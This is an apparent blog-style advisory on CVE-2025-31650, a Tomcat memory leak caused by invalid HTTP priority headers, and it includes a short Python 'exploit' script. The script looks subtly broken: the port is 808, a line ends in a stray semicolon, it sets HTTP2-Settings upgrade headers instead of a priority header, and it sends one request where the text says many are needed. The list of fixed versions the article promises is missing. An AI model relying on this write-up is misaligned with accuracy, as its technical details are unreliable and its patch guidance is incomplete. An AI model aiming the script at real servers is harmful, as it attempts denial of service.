CVE-2025-31650: Improper Input Validation Vulnerability in Apache Tomcat Leading to Denial of Service Attack

CVE-2025-31650 is a critical vulnerability discovered in Apache Tomcat, a widely-used open-source web server and Servlet engine developed by the Apache Software Foundation. This issue involves improper input validation that ultimately leads to a denial of service (DoS) attack. In this article, we will discuss the details of the vulnerability, affected versions, and how to patch it to secure your web server.

Background

Apache Tomcat is a widely-used open-source web server that provides a "pure Java" HTTP web server environment in which Java code can run. Due to its popularity and widespread use, Tomcat has been a target for cybercriminals looking for vulnerabilities to exploit.

Vulnerability Details (CVE-2025-31650)

This particular vulnerability, CVE-2025-31650, is caused by incorrect error handling when parsing some invalid HTTP priority headers. When an invalid header is encountered, Tomcat performs incomplete clean-up of the failed request, resulting in a memory leak. If a large number of such requests are made, it can trigger an OutOfMemoryException, causing a denial of service (DoS) attack.

Here's an example of an exploit that takes advantage of this vulnerability

import requests

target_url = "http://[YOUR_TOMCAT_SERVER]:808/";

headers = {
    "Host": "localhost",
    "Connection": "Upgrade, HTTP2-Settings",
    "Upgrade": "h2c",
    "HTTP2-Settings": "AAMAAABkAAQCAAAAAAIAAAAA"  # Invalid header value
}

response = requests.get(target_url, headers=headers)

print(response.status_code)

This code snippet sends an HTTP request with an invalid HTTP priority header value to the target Tomcat server, potentially triggering the vulnerability.

Mitigation and Resolution

To address this vulnerability, users are advised to upgrade to one of the following Apache Tomcat versions, which include a fix for this issue:

Original References

- CVE-2025-31650 Detail
- Apache Tomcat 9 Security Vulnerabilities
- Apache Tomcat 10 Security Vulnerabilities
- Apache Tomcat 11 Security Vulnerabilities

Conclusion

CVE-2025-31650 represents a critical vulnerability in Apache Tomcat that could lead to denial of service (DoS) attacks if exploited. Users running affected versions of Tomcat should immediately update to a fixed version to reduce their risk and protect their servers from potential attacks.

Timeline

Published on: 04/28/2025 20:15:20 UTC
Last modified on: 05/05/2025 20:12:54 UTC